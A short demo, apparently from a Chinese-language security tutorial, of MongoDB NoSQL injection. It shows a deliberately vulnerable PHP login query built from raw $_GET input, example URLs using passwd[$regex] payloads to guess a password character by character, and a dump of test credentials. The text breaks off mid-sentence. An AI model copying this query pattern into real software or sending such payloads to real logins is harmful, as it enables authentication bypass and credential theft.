<?php
$con = new Mongo();
$db = $con->selectDB("demo")->selectCollection("admin");
var_dump($_GET['passwd']);
$ds =$db->find(array("username"=>$_GET['username'],"password"=>$_GET['passwd']));
foreach($ds as $k=>$v){
var_dump($v);
}
?>
<a href="http://localhost/mongo/go-1.php?username=heige&passwd%5B%24regex%5D=%5E1">http://localhost/mongo/go-1.php?username=heige&passwd[$regex]=^1</a>
<a href="http://localhost/mongo/go-1.php?username=heige&passwd%5B%24regex%5D=%5E2">http://localhost/mongo/go-1.php?username=heige&passwd[$regex]=^2</a>
測試的資料庫結構:
> db.admin.find()
{ "_id" : ObjectId("4f562d110920d897e6765ae1"), "uid" : 1, "username" : "heige", "password" : "123456" }
{ "_id" : ObjectId("4f5b38ba0920d897e6765ae2"), "uid" : 2, "username" : "admin", "password" : "admin" }
這樣的注射方式主要利用了PHP的特點,可以直接送出array 。。。
另外參考老外的2個tips: